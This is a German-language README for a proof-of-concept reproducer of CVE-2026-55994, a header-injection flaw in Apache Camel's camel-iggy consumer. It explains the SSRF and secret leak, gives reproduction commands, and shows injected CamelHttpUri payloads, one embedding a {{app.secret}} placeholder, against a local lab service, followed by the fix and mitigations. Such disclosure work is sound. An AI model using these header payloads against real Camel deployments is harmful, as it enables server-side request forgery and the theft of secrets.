camel-iggy Reproducer für User-Header-Injection (CVE-2026-55994)

Dieses Projekt demonstriert eine Message-Header-Injection in der Apache-Camel-Komponente camel-iggy, die als CVE-2026-55994 geführt wird. Der Iggy-Consumer kopiert die User-Header einer eingehenden Nachricht ohne jegliche HeaderFilterStrategy auf die Camel Exchange, sodass jeder, der in das konsumierte Iggy-Topic publizieren kann, Camel-Kontroll-Header injizieren kann – insbesondere CamelHttpUri:

// IggyFetchRecords.createExchange (affected 4.18.2) — Iggy message user-headers -> Exchange headers, unfiltered
message.userHeaders().ifPresent(userHeaders -> {
    Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
            e -> e.getKey(),
            e -> e.getValue().value()));
    exchange.getIn().setHeaders(stringUserHeaders);
});

Wenn die Route diesen Consumer in einen HTTP-Producer einbindet, überschreibt ein injizierter CamelHttpUri die Ziel-URI des Producers – Server-Side Request Forgery. Der camel-http-Producer ruft außerdem resolvePropertyPlaceholders() für diese vom Angreifer kontrollierte URI auf, sodass eine injizierte {{...}}-Referenz zu ihrem tatsächlichen Wert aufgelöst und gesendet wird – wodurch Umgebungsvariablen, Anwendungseigenschaften oder Vault-Secrets offengelegt werden.

Dieser PoC demonstriert die Auswirkung als SSRF plus Offenlegung von Geheimnissen (CWE-20 → CWE-918 + CWE-200). Er ist eine von drei Schwesterkomponenten, die gemeinsam unter CAMEL-23532 behoben wurden (mit camel-vertx-websocket, CVE-2026-46726, und camel-atmosphere-websocket, CVE-2026-55993).

Advisory: https://camel.apache.org/security/CVE-2026-55994.html

Schwachstellenübersicht

Der Fix wendet eine HeaderFilterStrategy auf die eingehende Zuordnung an und filtert Camel* / camel*-Header, sodass sie nicht mehr über die User-Header einer Iggy-Nachricht injiziert werden können.

Wie dieser Reproducer den echten verwundbaren Code ausführt

Die verwundbare Methode IggyFetchRecords.createExchange(...) wird unverändert auf einer gefälschten Iggy-Nachricht ausgeführt, deren User-Header vom Angreifer kontrolliert werden. Die resultierende Exchange fließt durch die echte Route zum echten camel-http-Producer, sodass die SSRF und die {{...}}-Property-Placeholder-Offenlegung echt sind.

Warum kein Live-Iggy-Broker verwendet wird. Der doStart des iggy:-Consumers öffnet eine Verbindung zu einem laufenden Iggy-Server, daher kann die Route ohne einen solchen nicht starten – und der Apache-Iggy-Server benötigt io_uring, das vom Standard-Seccomp-Profil von Docker blockiert wird (er läuft nur mit --privileged), was ihn für einen portablen, teilbaren PoC ungeeignet macht. Der verwundbare createExchange selbst benötigt keinen Broker, daher konstruiert der Treiber das echte IggyFetchRecords und ruft es direkt mit der gefälschten Nachricht auf. Der Schwester-PoC camel-vertx-websocket (CVE-2026-46726) demonstriert denselben Defekt über einen Live-Transport.

Die Opfer-Route

In einer realen Bereitstellung: from("iggy:orders?streamName=demo&...").to("http://.../legit-backend"). Hier ist die Downstream-Hälfte from("direct:iggy-delivery").to("http://localhost:8080/legit-backend"), der die vergiftete Exchange zugeführt wird, die von der echten createExchange erzeugt wurde.

Repository-Struktur

CVE-2026-55994/
├── pom.xml                 # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # downstream link -> http://localhost:8080/legit-backend
    │   ├── SinkController.java     # SSRF collector: /legit-backend, /internal/secret, /collect
    │   └── ExploitController.java  # forges an Iggy message + runs the real createExchange (injects CamelHttpUri)
    └── resources/
        └── application.properties  # app.secret=... (leaked via placeholder resolution)

Voraussetzungen

• Docker und Docker Compose
• Java 17+ und Maven 3.8+

Reproduktionsschritte

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Erwartete Ausgabe

1) Ordinary message (user-header x-order-id=A-1001)
     reached /legit-backend: true
     reached /internal/secret: false

2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret'  (SSRF)
     server-side request reached /internal/secret: true

3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}'  (secret disclosure)
     attacker's collector received leak = SUPER-SECRET-abc123
     equals the app's real secret: true

>>> SSRF=true, secret-disclosure=true

Empfohlener Fix

Führen Sie ein Upgrade auf 4.18.3 / 4.21.0 (CAMEL-23532) durch. Nach dem Upgrade filtert der Consumer Camel*-Header aus den User-Headern der Iggy-Nachricht, sodass CamelHttpUri und andere Kontroll-Header nicht mehr injiziert werden können.

Gegenmaßnahmen

Bis zum Upgrade sollten Sie einen iggy:-Consumer nicht direkt in einen HTTP-Producer einbinden, ohne zuvor Camel-Kontroll-Header zu entfernen (zum Beispiel removeHeaders("CamelHttp*")), und setzen Sie das Ziel des Producers aus einer vertrauenswürdigen Quelle (oder verwenden Sie bridgeEndpoint=true).

Haftungsausschluss

Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich bekannt gegebene und behobene Sicherheitslücke. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.